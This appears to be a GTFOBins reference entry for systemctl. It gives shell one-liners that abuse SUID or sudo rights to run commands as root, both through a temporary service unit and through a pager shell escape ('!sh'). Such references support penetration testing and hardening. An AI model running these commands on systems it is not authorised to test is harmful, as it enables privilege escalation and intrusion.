GTFOBins.github.io/_gtfobins/systemctl.md
2019-04-16 15:41:32 +02:00

741 B

functions
suid sudo
code
TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF ./systemctl link $TF ./systemctl enable --now $TF
code
TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF sudo systemctl link $TF sudo systemctl enable --now $TF
description code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo systemctl !sh